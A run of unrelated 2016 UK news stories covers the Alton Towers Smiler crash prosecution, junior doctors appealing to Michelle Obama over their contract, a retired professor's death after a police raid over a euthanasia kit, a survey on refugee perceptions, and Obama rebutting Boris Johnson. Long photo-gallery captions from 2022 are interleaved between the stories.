Mr Justice Robin Spencer QC warned the teenager he faced a lengthy prison sentence, adding that the starting point for two murders for someone under 18 is 12 years.

He will be sentenced at the Old Bailey on Friday April 29.

Press Association
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The owners of Alton Towers have admitted breaching health and safety laws over the Smiler rollercoaster crash.

The accident in June last year left five people seriously injured, including young women who had to have part of their legs amputated.

Merlin, the company that operates the theme park, indicated a guilty plea to a charge of breaching the Health and Safety at Work Act in court on Friday.

 Alton Towers victim speaks out

Speaking at the North Staffordshire Justice Centre in Newcastle-under-Lyme, District Judge Jack McGarva warned that the firm may be ordered to pay a very large fine.

Merlin Attractions Operations Ltd had previously accepted responsibility for the crash after carrying out its own internal investigation into how a rollercoaster car collided with a stationary carriage on the track.

It is being prosecuted under Section 3(1) of the Health and Safety at Work Act, which stipulates that it is employers duty to ensure people are not exposed to risks in their health or safety.

Five people were seriously injured in the crash on 2 June, which was seen by dozens of horrified visitors to the popular theme park.

Sixteen people were injured in the collision on a low section of the ride, which can reach speeds of up to 50 mph and has a record-breaking 14 loops.

The scene at the Smiler rollercoaster at Alton Towers shortly after the crash last summer (PA)

Those most badly hurt were Vicky Balch and Daniel Thorpe, from Buxton in Derbyshire, Leah Washington and Joe Pugh, from Barnsley, and Chandaben Chauhan, from Wednesbury, West Midlands.

Miss Washington and Miss Balch each underwent partial leg amputations as a result of their injuries, while Mr Pugh had both kneecaps shattered and Mr Thorpe suffered a collapsed lung.

The 500-acre theme park in Staffordshire was shut for four days following the accident and The Smiler did not reopen until last month.

In a statement issued after the Health and Safety Executive announced its intention to prosecute in February, Merlin said: We have co-operated fully with the Health and Safety Executive throughout their investigation while continuing to support those who were injured in the accident.

"The company completed its own investigation and published the results in November, accepting responsibility for what happened. We have also kept the HSE fully informed of the subsequent actions that we have taken to ensure that something like this cannot happen again."

UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 21 October 2022 Sculptor Peter McKenna puts the finishing touches to a pumpkin that will form part of the Planet A Hebden Bridge Pumpkin Trail in the West Yorkshire town PA UK news in pictures 20 October 2022 Britains Prime Minister Liz Truss delivers a speech outside of 10 Downing Street in central London to announce her resignation AFP/Getty UK news in pictures 19 October 2022 Salmon leap up Stainforth Force on the River Ribble in the Yorkshire Dales as they swim upriver to their spawning grounds during the annual Salmon migration PA UK news in pictures 18 October 2022 Just Stop Oil protesters continue their protest for a second day on the Queen Elizabeth II Bridge, which links Kent and Essex and which remains closed for traffic, after it was scaled by two climbers from the group PA UK news in pictures 17 October 2022 Hundreds of students take part in the traditional Raisin Monday foam fight on St Salvator's Lower College Lawn at the University of St Andrews in Fife PA UK news in pictures 16 October 2022 A protester holds a placard during a march into central London at a demonstration by the climate change protest group Extinction Rebellion AFP/Getty UK news in pictures 15 October 2022 A member of the public drags an activist who is blocking the road during a "Just Stop Oil" protest, in London, Britain REUTERS UK news in pictures 14 October 2022 Germanys Womens double skulls during day one of the World Rowing Beach Sprint Finals at Saundersfoot beach, Pembrokeshire PA UK news in pictures 13 October 2022 Family and mourners arrive at St Michael's Church, in Creeslough, for the funeral mass of 49-year-old mother of four Martina Martin, who died following an explosion at the Applegreen service station in the village of Creeslough in Co Donegal on Friday PA UK news in pictures 12 October 2022 Motorists in Coventry pass trees showing autumnal colour PA UK news in pictures 11 October 2022 A woman and her dog in the the North Sea at Tynemouth Longsands beach before sunrise PA UK news in pictures 10 October 2022 Police officers remove a campaigner from a Just Stop Oil protest on The Mall, near Buckingham Palace, London PA UK news in pictures 9 October 2022 A drummer plays during the Diwali on the Square celebration, in Trafalgar Square, London PA UK news in pictures 8 October 2022 Timothee Chalamet attending the UK premiere of Bones and All during the BFI London Film Festival 2022 at the Royal Festival Hall, Southbank Centre, London PA UK news in pictures 7 October 2022 Two young male fallow deer lock antlers in Dublins Phoenix park as rutting season begins PA UK news in pictures 6 October 2022 The Princess of Wales during a cocktail making competition during a visit to Trademarket, a new outdoor street-food and retail market situated in Belfast city centre, as part of the royal visit to Northern Ireland PA UK news in pictures 5 October 2022 Greenpeace protesters interrupt Prime Minister Liz Truss as she delivers her keynote speech to the Conservative Party annual conference PA UK news in pictures 4 October 2022 Prime Minister Liz Truss and Britains Chancellor of the Exchequer Kwasi Kwarteng wearing hard hats and hi-vis jackets, visit a construction site for a medical innovation campus in Birmingham AFP/Getty UK news in pictures 3 October 2022 British artist Sam Cox, aka Mr Doodle, reveals the Doodle House, a twelve-room mansion at Tenterden, in Kent, which has been covered, inside and out in the artist's trademark monochrome, cartoonish hand-drawn doodles PA UK news in pictures 2 October 2022 Erling Haaland celebrates after scoring Manchester City's second goal against Manchester United at Etihad Stadium. Haaland went on to score a hattrick, his third of the season in the Premier League. City beat United 6-3. Manchester City FC/Getty UK news in pictures 1 October 2022 Protesters hold up flags and placards at a protest in London. A variety of protest groups including Enough is Enough, Don't Pay and Just Stop Oil all demonstrated on the day AFP/Getty UK news in pictures 30 September 2022 British Prime Minister Liz Truss, who has not been seen in days, leaves the back of Downing Street after a meeting with Office For Budget Responsibility following the release of her governments mini-budget Getty UK news in pictures 29 September 2022 The Virginia creeper foliage on the Tu Hwnt i'r Bont (Beyond the Bridge) Llanwrst, Conwy North Wales, has changed colour from green to red in at the start of Autumn. The building was built in 1480 as a residential dwelling but has been a tearoom for over 50 years PA UK news in pictures 28 September 2022 Criminal barristers from the Criminal Bar Association (CBA), demonstrates outside the Royal Courts of Justice in London, as part of their ongoing pay row with the Government PA UK news in pictures 27 September 2022 David White, Garter King of Arms, poses with an envelope franked with the new cypher of King Charles III 'CIIIR', after it was printed in the Court Post Office at Buckingham Palace in central London AFP/Getty UK news in pictures 26 September 2022 A gallery staff member poses next to a painting by Lucian Freud - Self-portrait (Fragment), 1956 - on show at a photocall for the Credit Suisse exhibition - Lucian Freud: New Perspectives at the National Gallery in London PA UK news in pictures 25 September 2022 Labour leader, Sir Keir Starmer is interviewed by Laura Kuenssberg in Liverpool before the start of the Labour Party annual Conference which he opened with a tribute to Queen Elizabeth II and sang the national anthem PA UK news in pictures 24 September 2022 Handout photo issued by Buckingham Palace of the ledger stone at the King George VI Memorial Chapel, St George's Chapel, Windsor Castle PA UK news in pictures 23 September 2022 A climate change activist protests against UK private jets while lighting his right arm on fire during the Laver Cup tennis tournament at the O2 Arena in London EPA UK news in pictures 22 September 2022 Woody Woodmansey, Lee Bennett, Kevin Armstrong, Nick Moran and Clifford Slapper attend the unveiling of a stone for David Bowie on the Music Walk of Fame at Camden, north London PA UK news in pictures 21 September 2022 A flock of birds in the sky as the sun rises over Dungeness in Kent PA UK news in pictures 20 September 2022 Flowers which were laid by members of the public in tribute to Queen Elizabeth II at Hillsborough Castle in Northern Ireland are collected by the Hillsborough Gardening Team and volunteers to be replanted for those that can be saved or composted PA UK news in pictures 19 September 2022 The ceremonial procession of the coffin of Queen Elizabeth II travels down the long walk as it arrives at Windsor Castle for the committal service at St Georges Chapel AFP/Getty UK news in pictures 18 September 2022 A man stands among campers on The Mall ahead of the Queens funeral Reuters UK news in pictures 17 September 2022 Wolverhampton Wanderers Nathan Collins fouls Manchester Citys Jack Grealish leading to a red card. City went on to win the match at Molineux Stadium three goals to nil. Action Images/Reuters UK news in pictures 16 September 2022 Members of the public stand in the queue near Tower Bridge, and opposite the Tower of London, as they wait in line to pay their respects to the late Queen Elizabeth II, in London AFP via Getty Images UK news in pictures 15 September 2022 Members of the public in the queue on in Potters Fields Park, central London, as they wait to view Queen Elizabeth II lying in state ahead of her funeral on Monday PA UK news in pictures 14 September 2022 The first members of the public pay their respects as the vigil begins around the coffin of Queen Elizabeth II in Westminster Hall, London, where it will lie in state ahead of her funeral on Monday PA UK news in pictures 13 September 2022 Crowds cheer as King Charles III and Camilla, Queen Consort arrive for a visit to Hillsborough Castle Getty UK news in pictures 12 September 2022 Crowds line the Royal Mile, Edinburgh, as King Charles III joins a procession from the Palace of Holyroodhouse to St Giles Cathedral following the coffin of Queen Elizabeth II Katielee Arrowsmith/SWNS UK news in pictures 11 September 2022 Members of the Public pay their respects as the hearse carrying the coffin of Queen Elizabeth II, draped in the Royal Standard of Scotland, is driven through Ballater AFP/Getty UK news in pictures 10 September 2022 Britain's Prince William, Prince of Wales, Britain's Catherine, Princess of Wales, Britain's Prince Harry, Duke of Sussex, Britain's Meghan, Duchess of Sussex, wave at well-wishers on the Long walk at Windsor Castle AFP/Getty UK news in pictures 9 September 2022 King Charles III and Camilla, Queen Consort wave after viewing floral tributes to the late Queen Elizabeth II outside Buckingham Palace Getty UK news in pictures 8 September 2022 A screen commemorating Britain's Queen Elizabeth II in Piccadilly Circus, London Britain EPA UK news in pictures 7 September 2022 Police officers stand guard after Animal Rebellion activists threw paint on the walls and road outside the Houses of Parliament in protest, in London, Britain Reuters UK news in pictures 6 September 2022 Queen Elizabeth II welcomes Liz Truss during an audience at Balmoral, Scotland, where she invited the newly elected leader of the Conservative party to become Prime Minister and form a new government PA UK news in pictures 5 September 2022 Visitors at the PoliNations garden in Victoria Square, Birmingham, which is made up of five 40ft high tree installations and over 6,000 plants. The PoliNations programme aims to explore how migration and cross-pollination have shaped the UKs gardens and culture PA UK news in pictures 4 September 2022 Undergraduates at the University of St Andrews take part in the traditional Pier Walk along the harbour walls of St Andrews before the start of the new academic year PA UK news in pictures 3 September 2022 The Massed Pipes and Drums parade during the Braemar Highland Gathering at the Princess Royal and Duke of Fife Memorial Park PA UK news in pictures 2 September 2022 Number 12 Company Irish Guards at Wellington Barracks, central London, before commencing their first Guard Mount at Buckingham Palace PA

Additional reporting by PA
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Junior doctors will seek Michelle Obamas support in their dispute with the Government today, appealing to her to lobby David Cameron over concerns that the new controversial new contract discriminates against women medics.

In a letter to Mrs Obama, who arrived in the UK last night on a three-day visit with her husband, doctors praise the First Ladys inspirational advocacy of womens equality and outline their fears that the new contract will introduce a "gender pay gap" into the NHS, one of Europes biggest employers.

The letter, seen by The Independent, is backed by more than 2,000 doctors, its lead signatories said.

In pictures: Junior doctors protests in UK Show all 10 1 /10 In pictures: Junior doctors protests in UK In pictures: Junior doctors protests in UK 20,000 Junior Doctors marched through central London in protest at the new contract changes the government is trying to impose which they say will be unfair and unsafe In pictures: Junior doctors protests in UK Junior doctors protest in London In pictures: Junior doctors protests in UK 4 year old Cassius takes part in a demonstration in Westminster, in support of junior doctors over changes to NHS contracts, London In pictures: Junior doctors protests in UK Protest over proposed changes to junior doctors' contracts, Leeds In pictures: Junior doctors protests in UK Junior doctors and NHS staff protesting against the health service cuts and the proposed contract changes offered by the government outside Parliament In pictures: Junior doctors protests in UK Junior doctors and NHS staff protesting against the health service cuts and the proposed contract changes offered by the government outside Parliament In pictures: Junior doctors protests in UK Over 5000 junior doctors rallied in Waterloo place, before marching through Whitehall and onto Parliament Square, in opposition to Jeremy Hunt's new working conditions for doctors In pictures: Junior doctors protests in UK Demonstrators listen to speeches in Waterloo Place during the 'Let's Save the NHS' rally and protest march by junior doctors In pictures: Junior doctors protests in UK Junior doctors marched in London to highlight their plight In pictures: Junior doctors protests in UK A protester at a demonstration in support of junior doctors in London

Their concerns centre on the Governments own equality impact assessment (EIA) of the new junior doctor contract, which acknowledged that extra weekend working would disproportionately impact women who are more likely to have to arrange and pay for childcare, and that reforms to the way medics pay increases would also disproportionately hit the salaries of women who take time off to raise children.

Despite the findings, the Governments EIA concluded the contract was not discriminatory. The contract has been criticised by a top UN health official. Jim Campbell, director of the World Health Organisation's Health Workforce director, criticised the contract's regressive policies.

Junior doctors will hold their first ever all-out strike next week over the Governments decision to impose the new contract without the support of the British Medical Association.

The letter to Michelle Obama states: We are junior doctors working in the UKs National Health Service, writing to you with a heartfelt plea for help. We believe that our causes - healthcare and equality - transcend national borders. We would therefore be most indebted to you if you could raise our concerns with our Prime Minister, David Cameron, when you meet with him later today.

Universal health care coverage for all citizens and equality for women, are both subjects that you have been an inspirational advocate for. The successes of your programme Let Girls Learn speaks to us all as parents and carers, and as professionals who came into medicine believing that we are all equal.

Independent version- Should Obama intervene in the EU referendum?

One distressing aspect of the new contract is its discriminatory nature. Our government's own assessment of the contract acknowledges that doctors who are women, single parents, carers or disabled are all discriminated against. The government does not try to hide this, but has instead brushed it off as collateral damage: 'A proportionate means of achieving a legitimate end'. Furthermore, according to the government's own analysis, the increased anti-social working hours in the contract, with no extra remuneration, 'will disproportionately disadvantage those who need to arrange childcare'. It is also anti-family.

It points out that David Cameron co-chaired a UN commission report, presented at the UN Sustainable Development Goals summit in 2015, which committed the UK to leading the way in delivering a world where women and girls are treated equally to men and boys and concludes with an appeal to Mrs Obama to you to use whatever influence you may have with the Prime Minister to encourage him to listen to our concerns and act accordingly.

Dr Roshana Mehdian, the letters lead signatory said: Regressive steps in gender equality, introducing a gender pay gap to one of the worlds largest employers and contravening ones own UN commission, has no place in 2016. We hope that Mrs Obama, as a strong advocate for equality and healthcare, can make this clear to our Prime Minister. As he so clearly stated in his speech to the United Nations, 'the world is watching', perhaps the First Lady should remind him of this.

A Department of Health spokesperson said: This contract is a huge step forward for achieving fairness for all trainee doctors. For the first time junior doctors will be paid and rewarded solely on the basis of their own hard work and achievement. That is ultimately what employers and the BMA themselves want and everyone deserves  a level playing field.

It's worth remembering that 90% of this contract was agreed with the BMA, and as the BMA's own lawyers' have advised, nothing in the new contract is discriminatory.


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A retired professor has apparently taken her own life just days after police forced their way into her home but failed to take away all of her drugs, a pro-euthanasia campaigner has claimed.

Professor Avril Henry, 81, had her home in Brampford Speke, near Exeter in Devon, raided by police last week after they were tipped off by Interpol that she had bought a euthanasia kit from Mexico.

Her purchase was flagged on Friday night and police in Exeter were sent around to check on her well-being.

Prof Henry, professor of English medieval culture at the University of Exeter until 2000, was a member of Exit International, which advocates the legalisation of euthanasia.

Exit was founded by Dr Philip Nitschke, who was the first physician in the world to administer a legal, lethal, voluntary injection.

Dr Nitschke said Devon and Cornwall Police gained entry to her home by forcing the front door and then left taking with them what they believed were the imported drugs.

The founder of Exit International, Dr Philip Nitschke, said the police needed to recognise suicide was not a crime and not all people contemplating it are in need of mental health help

But he claimed the officers did not remove all the drugs and Prof Henry used the remainder to end her life on Tuesday.

He said Prof Henry had been accepted in Switzerland for an assisted suicide but wanted to end her life in her own home.

Dr Nitschke said: "Police need to realise that in the UK, suicide is not a crime, and mental health authorities need to recognise that not everyone who seeks to end their life is in need of psychiatric intervention.

"Avril's death was a clear case of 'rational suicide', and her decision to die at her own time and in her own place should have been respected.

"As it is the authorities did everything they could to make her last days on this earth a misery."

A police spokeswoman said: "Devon and Cornwall Police attended an address in Brampford Speke on the April 15 following concerns for the welfare of a person within the property, and therefore entrance was forced.

UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 20 October 2022 Britains Prime Minister Liz Truss delivers a speech outside of 10 Downing Street in central London to announce her resignation AFP/Getty UK news in pictures 19 October 2022 Salmon leap up Stainforth Force on the River Ribble in the Yorkshire Dales as they swim upriver to their spawning grounds during the annual Salmon migration PA UK news in pictures 18 October 2022 Just Stop Oil protesters continue their protest for a second day on the Queen Elizabeth II Bridge, which links Kent and Essex and which remains closed for traffic, after it was scaled by two climbers from the group PA UK news in pictures 17 October 2022 Hundreds of students take part in the traditional Raisin Monday foam fight on St Salvator's Lower College Lawn at the University of St Andrews in Fife PA UK news in pictures 16 October 2022 A protester holds a placard during a march into central London at a demonstration by the climate change protest group Extinction Rebellion AFP/Getty UK news in pictures 15 October 2022 A member of the public drags an activist who is blocking the road during a "Just Stop Oil" protest, in London, Britain REUTERS UK news in pictures 14 October 2022 Germanys Womens double skulls during day one of the World Rowing Beach Sprint Finals at Saundersfoot beach, Pembrokeshire PA UK news in pictures 13 October 2022 Family and mourners arrive at St Michael's Church, in Creeslough, for the funeral mass of 49-year-old mother of four Martina Martin, who died following an explosion at the Applegreen service station in the village of Creeslough in Co Donegal on Friday PA UK news in pictures 12 October 2022 Motorists in Coventry pass trees showing autumnal colour PA UK news in pictures 11 October 2022 A woman and her dog in the the North Sea at Tynemouth Longsands beach before sunrise PA UK news in pictures 10 October 2022 Police officers remove a campaigner from a Just Stop Oil protest on The Mall, near Buckingham Palace, London PA UK news in pictures 9 October 2022 A drummer plays during the Diwali on the Square celebration, in Trafalgar Square, London PA UK news in pictures 8 October 2022 Timothee Chalamet attending the UK premiere of Bones and All during the BFI London Film Festival 2022 at the Royal Festival Hall, Southbank Centre, London PA UK news in pictures 7 October 2022 Two young male fallow deer lock antlers in Dublins Phoenix park as rutting season begins PA UK news in pictures 6 October 2022 The Princess of Wales during a cocktail making competition during a visit to Trademarket, a new outdoor street-food and retail market situated in Belfast city centre, as part of the royal visit to Northern Ireland PA UK news in pictures 5 October 2022 Greenpeace protesters interrupt Prime Minister Liz Truss as she delivers her keynote speech to the Conservative Party annual conference PA UK news in pictures 4 October 2022 Prime Minister Liz Truss and Britains Chancellor of the Exchequer Kwasi Kwarteng wearing hard hats and hi-vis jackets, visit a construction site for a medical innovation campus in Birmingham AFP/Getty UK news in pictures 3 October 2022 British artist Sam Cox, aka Mr Doodle, reveals the Doodle House, a twelve-room mansion at Tenterden, in Kent, which has been covered, inside and out in the artist's trademark monochrome, cartoonish hand-drawn doodles PA UK news in pictures 2 October 2022 Erling Haaland celebrates after scoring Manchester City's second goal against Manchester United at Etihad Stadium. Haaland went on to score a hattrick, his third of the season in the Premier League. City beat United 6-3. Manchester City FC/Getty UK news in pictures 1 October 2022 Protesters hold up flags and placards at a protest in London. A variety of protest groups including Enough is Enough, Don't Pay and Just Stop Oil all demonstrated on the day AFP/Getty UK news in pictures 30 September 2022 British Prime Minister Liz Truss, who has not been seen in days, leaves the back of Downing Street after a meeting with Office For Budget Responsibility following the release of her governments mini-budget Getty UK news in pictures 29 September 2022 The Virginia creeper foliage on the Tu Hwnt i'r Bont (Beyond the Bridge) Llanwrst, Conwy North Wales, has changed colour from green to red in at the start of Autumn. The building was built in 1480 as a residential dwelling but has been a tearoom for over 50 years PA UK news in pictures 28 September 2022 Criminal barristers from the Criminal Bar Association (CBA), demonstrates outside the Royal Courts of Justice in London, as part of their ongoing pay row with the Government PA UK news in pictures 27 September 2022 David White, Garter King of Arms, poses with an envelope franked with the new cypher of King Charles III 'CIIIR', after it was printed in the Court Post Office at Buckingham Palace in central London AFP/Getty UK news in pictures 26 September 2022 A gallery staff member poses next to a painting by Lucian Freud - Self-portrait (Fragment), 1956 - on show at a photocall for the Credit Suisse exhibition - Lucian Freud: New Perspectives at the National Gallery in London PA UK news in pictures 25 September 2022 Labour leader, Sir Keir Starmer is interviewed by Laura Kuenssberg in Liverpool before the start of the Labour Party annual Conference which he opened with a tribute to Queen Elizabeth II and sang the national anthem PA UK news in pictures 24 September 2022 Handout photo issued by Buckingham Palace of the ledger stone at the King George VI Memorial Chapel, St George's Chapel, Windsor Castle PA UK news in pictures 23 September 2022 A climate change activist protests against UK private jets while lighting his right arm on fire during the Laver Cup tennis tournament at the O2 Arena in London EPA UK news in pictures 22 September 2022 Woody Woodmansey, Lee Bennett, Kevin Armstrong, Nick Moran and Clifford Slapper attend the unveiling of a stone for David Bowie on the Music Walk of Fame at Camden, north London PA UK news in pictures 21 September 2022 A flock of birds in the sky as the sun rises over Dungeness in Kent PA UK news in pictures 20 September 2022 Flowers which were laid by members of the public in tribute to Queen Elizabeth II at Hillsborough Castle in Northern Ireland are collected by the Hillsborough Gardening Team and volunteers to be replanted for those that can be saved or composted PA UK news in pictures 19 September 2022 The ceremonial procession of the coffin of Queen Elizabeth II travels down the long walk as it arrives at Windsor Castle for the committal service at St Georges Chapel AFP/Getty UK news in pictures 18 September 2022 A man stands among campers on The Mall ahead of the Queens funeral Reuters UK news in pictures 17 September 2022 Wolverhampton Wanderers Nathan Collins fouls Manchester Citys Jack Grealish leading to a red card. City went on to win the match at Molineux Stadium three goals to nil. Action Images/Reuters UK news in pictures 16 September 2022 Members of the public stand in the queue near Tower Bridge, and opposite the Tower of London, as they wait in line to pay their respects to the late Queen Elizabeth II, in London AFP via Getty Images UK news in pictures 15 September 2022 Members of the public in the queue on in Potters Fields Park, central London, as they wait to view Queen Elizabeth II lying in state ahead of her funeral on Monday PA UK news in pictures 14 September 2022 The first members of the public pay their respects as the vigil begins around the coffin of Queen Elizabeth II in Westminster Hall, London, where it will lie in state ahead of her funeral on Monday PA UK news in pictures 13 September 2022 Crowds cheer as King Charles III and Camilla, Queen Consort arrive for a visit to Hillsborough Castle Getty UK news in pictures 12 September 2022 Crowds line the Royal Mile, Edinburgh, as King Charles III joins a procession from the Palace of Holyroodhouse to St Giles Cathedral following the coffin of Queen Elizabeth II Katielee Arrowsmith/SWNS UK news in pictures 11 September 2022 Members of the Public pay their respects as the hearse carrying the coffin of Queen Elizabeth II, draped in the Royal Standard of Scotland, is driven through Ballater AFP/Getty UK news in pictures 10 September 2022 Britain's Prince William, Prince of Wales, Britain's Catherine, Princess of Wales, Britain's Prince Harry, Duke of Sussex, Britain's Meghan, Duchess of Sussex, wave at well-wishers on the Long walk at Windsor Castle AFP/Getty UK news in pictures 9 September 2022 King Charles III and Camilla, Queen Consort wave after viewing floral tributes to the late Queen Elizabeth II outside Buckingham Palace Getty UK news in pictures 8 September 2022 A screen commemorating Britain's Queen Elizabeth II in Piccadilly Circus, London Britain EPA UK news in pictures 7 September 2022 Police officers stand guard after Animal Rebellion activists threw paint on the walls and road outside the Houses of Parliament in protest, in London, Britain Reuters UK news in pictures 6 September 2022 Queen Elizabeth II welcomes Liz Truss during an audience at Balmoral, Scotland, where she invited the newly elected leader of the Conservative party to become Prime Minister and form a new government PA UK news in pictures 5 September 2022 Visitors at the PoliNations garden in Victoria Square, Birmingham, which is made up of five 40ft high tree installations and over 6,000 plants. The PoliNations programme aims to explore how migration and cross-pollination have shaped the UKs gardens and culture PA UK news in pictures 4 September 2022 Undergraduates at the University of St Andrews take part in the traditional Pier Walk along the harbour walls of St Andrews before the start of the new academic year PA UK news in pictures 3 September 2022 The Massed Pipes and Drums parade during the Braemar Highland Gathering at the Princess Royal and Duke of Fife Memorial Park PA UK news in pictures 2 September 2022 Number 12 Company Irish Guards at Wellington Barracks, central London, before commencing their first Guard Mount at Buckingham Palace PA UK news in pictures 1 September 2022 A salmon leaps up the weir at Hexham in Northumberland, despite the drought warnings and low water levels, the River Tyne is still flowing well allowing the salmon and sea trout to head up river to spawn. Every year tens of thousands of salmon make the once-in-a-lifetime journey along the Tyne to spawn, having been out a sea PA

"No criminal issues were highlighted during this incident and the matter was left in the hands of medical and mental health professionals.

"Police were called to the same address in Brampford Speke on the April 20 following reports of a body of a woman in her 80s being discovered.

"This death isn't currently being treated as suspicious and a file is being prepared for the coroner."

The Samaritans provides a free support service for those who need to talk to someone. It can be contacted through Samaritans.org or on 08457 90 90 90, 24 hours a day, 365 days a year

PA
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The British public underestimates the number of refugees fleeing Syria by 4.5 million people, a report has found.

Nearly five million Syrians have been displaced by the civil war, yet Britons believe the figure to be closer to 300,000, the study says - 16 times fewer than official figures suggest.

The report also found the public believed the UK had accepted 10,000 Syrian refugees - twice as many as the latest official number of 5,000. The Government has pledged to accept 20,000 Syrians by 2020.

Refugee crisis - in pictures Show all 27 1 /27 Refugee crisis - in pictures Refugee crisis - in pictures A child looks through the fence at the Moria detention camp for migrants and refugees at the island of Lesbos on May 24, 2016. AFP/Getty Images Refugee crisis - in pictures Ahmad Zarour, 32, from Syria, reacts after his rescue by MOAS (Migrant Offshore Aid Station) while attempting to reach the Greek island of Agathonisi, Dodecanese, southeastern Agean Sea Refugee crisis - in pictures Syrian migrants holding life vests gather onto a pebble beach in the Yesil liman district of Canakkale, northwestern Turkey, after being stopped by Turkish police in their attempt to reach the Greek island of Lesbos on 29 January 2016. Getty Images Refugee crisis - in pictures Refugees flash the 'V for victory' sign during a demonstration as they block the Greek-Macedonian border Refugee crisis - in pictures Migrants have been braving sub zero temperatures as they cross the border from Macedonia into Serbia. Refugee crisis - in pictures A sinking boat is seen behind a Turkish gendarme off the coast of Canakkale's Bademli district on January 30, 2016. At least 33 migrants drowned on January 30 when their boat sank in the Aegean Sea while trying to cross from Turkey to Greece. Getty Images Refugee crisis - in pictures A general view of a shelter for migrants inside a hangar of the former Tempelhof airport in Berlin, Germany Refugee crisis - in pictures Refugees protest behind a fence against restrictions limiting passage at the Greek-Macedonian border, near Gevgelija. Since last week, Macedonia has restricted passage to northern Europe to only Syrians, Iraqis and Afghans who are considered war refugees. All other nationalities are deemed economic migrants and told to turn back. Macedonia has finished building a fence on its frontier with Greece becoming the latest country in Europe to build a border barrier aimed at checking the flow of refugees Refugee crisis - in pictures A father and his child wait after being caught by Turkish gendarme on 27 January 2016 at Canakkale's Kucukkuyu district Refugee crisis - in pictures Migrants make hand signals as they arrive into the southern Spanish port of Malaga on 27 January, 2016 after an inflatable boat carrying 55 Africans, seven of them women and six chidren, was rescued by the Spanish coast guard off the Spanish coast. Refugee crisis - in pictures A refugee holds two children as dozens arrive on an overcrowded boat on the Greek island of Lesbos Refugee crisis - in pictures A child, covered by emergency blankets, reacts as she arrives, with other refugees and migrants, on the Greek island of Lesbos, At least five migrants including three children, died after four boats sank between Turkey and Greece, as rescue workers searched the sea for dozens more, the Greek coastguard said Refugee crisis - in pictures Migrants wait under outside the Moria registration camp on the Lesbos. Over 400,000 people have landed on Greek islands from neighbouring Turkey since the beginning of the year Refugee crisis - in pictures The bodies of Christian refugees are buried separately from Muslim refugees at the Agios Panteleimonas cemetery in Mytilene, Lesbos Refugee crisis - in pictures Macedonian police officers control a crowd of refugees as they prepare to enter a camp after crossing the Greek border into Macedonia near Gevgelija Getty Images Refugee crisis - in pictures A refugee tries to force the entry to a camp as Macedonian police officers control a crowd after crossing the Greek border into Macedonia near Gevgelija Getty Images Refugee crisis - in pictures Refugees are seen aboard a Turkish fishing boat as they arrive on the Greek island of Lesbos after crossing a part of the Aegean Sea from the Turkish coast to Lesbos Reuters Refugee crisis - in pictures An elderly woman sings a lullaby to baby on a beach after arriving with other refugees on the Greek island of Lesbos after crossing the Aegean sea from Turkey Getty Images Refugee crisis - in pictures A man collapses as refugees make land from an overloaded rubber dinghy after crossing the Aegean see from Turkey, at the island of Lesbos EPA Refugee crisis - in pictures A girl reacts as refugees arrive by boat on the Greek island of Lesbos after crossing the Aegean sea from Turkey Getty Images Refugee crisis - in pictures Refugees make a show of hands as they queue after crossing the Greek border into Macedonia near Gevgelija Getty Images Refugee crisis - in pictures People help a wheelchair user board a train with others, heading towards Serbia, at the transit camp for refugees near the southern Macedonian town of Gevgelija AP Refugee crisis - in pictures Refugees board a train, after crossing the Greek-Macedonian border, near Gevgelija. Macedonia is a key transit country in the Balkans migration route into the EU, with thousands of asylum seekers - many of them from Syria, Afghanistan, Iraq and Somalia - entering the country every day Getty Images Refugee crisis - in pictures An aerial picture shows the "New Jungle" refugee camp where some 3,500 people live while they attempt to enter Britain, near the port of Calais, northern France Getty Images Refugee crisis - in pictures A Syrian girl reacts as she helped by a volunteer upon her arrival from Turkey on the Greek island of Lesbos, after having crossed the Aegean Sea EPA Refugee crisis - in pictures Refugees arrive by boat on the Greek island of Lesbos after crossing the Aegean sea from Turkey Getty Images Refugee crisis - in pictures Beds ready for use for migrants and refugees are prepared at a processing center on January 27, 2016 in Passau, Germany. The flow of migrants arriving in Passau has dropped to between 500 and 1,000 per day, down significantly from last November, when in the same region up to 6,000 migrants were arriving daily.

The Humanitarian Index compared six nations which have accepted refugees, revealing a huge public underestimation of the scale of the crisis and an exaggerated perception of their own governments' response.

The US, UK, Germany, France, Iran and Lebanon were surveyed in the report, carried out by the Edelman group, a communications firm, as campaigners and charities meet this weekend at a humanitarian conference in Armenia.

According to the United Nations Refugee Agency (UNHCR), the conflict has caused 4.8 million Syrians to flee their homes since 2011 - more than the adult population of Scotland.

The survey, which claims to be the first of its kind to attempt to compare international opinion, conducted online interviews with 4,800 people from six nations, including 1,000 British adults representative of the general population in terms of age and gender.

Across the surveyed countries, the refugee crisis was seen as a more pressing issue than hunger, water and climate change. Half the people questioned said they thought the Syrian people had been abandoned by the international community.

It also found Britons have more faith in foreign leaders Angela Merkel and Barack Obama to sort the crisis than in their own prime minister. Just 39% of those surveyed in the UK said David Cameron was the most capable world leader to deal with the crisis.

And despite the continued uncertainty surrounding the future of the European Union, almost half of Britons back it in taking the lead on dealing with the crisis.

 UN probes reports of refugee deaths after ship sinks

The index was carried out on behalf of the inaugural humanitarian award, the Aurora Prize, which is set to be handed out by actor George Clooney this weekend during a discussion between charities, delegates and organisations over the refugee crisis.

Vartan Gregorian, a member of the Aurora Prize selection committee, called for the public to be "better informed" on the facts surrounding the crisis.

He said: "The gulf between the public's understanding of the refugee crisis and reality should weigh heavily on all of us.

"Underestimating the scale of the problem means that the public also underestimates the investment required to alleviate the crisis. A better-informed public would be in a position to compel governments to act."

Oxfam accused the Government of "pretending this is someone else's problem".

Maya Mailer, head of policy and campaigns, said: "At a time when the number of people forced to flee their homes has reached record levels, it is shocking that the UK has taken in less than 1% of refugees. As the world's fifth biggest economy, the UK can and should do more to help vulnerable people fleeing war, persecution and poverty."

She added: "While the British Government has been generous in providing financial aid, it has just offered to resettle 20,000 Syrian refugees by 2020. This equates to each of our 69 cities receiving only around 60 people per year, hardly an influx."

Press Association
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Boris Johnson faced embarrassment on Friday as Barack Obama coolly dismissed the Mayor of Londons suggestion that the part-Kenyan US president holds an ancestral dislike of Britain and its former empire.

Standing alongside David Cameron, as he delivered a ringing endorsement of Britain remaining in the European Union, Mr Obama directly addressed Mr Johnsons claim, in a newspaper article, that he may have removed a bust of Winston Churchill from the Oval Office because of a grudge against Britain, expressing his love for the wartime leader and revealing saying that a bust of Churchill was situated outside his private office.

Mr Johnsons comments attracted a hail of criticism, with senior Labour figures accusing the figurehead of the Brexit campaign of dog whistle racism and a return to the language of the nasty party.

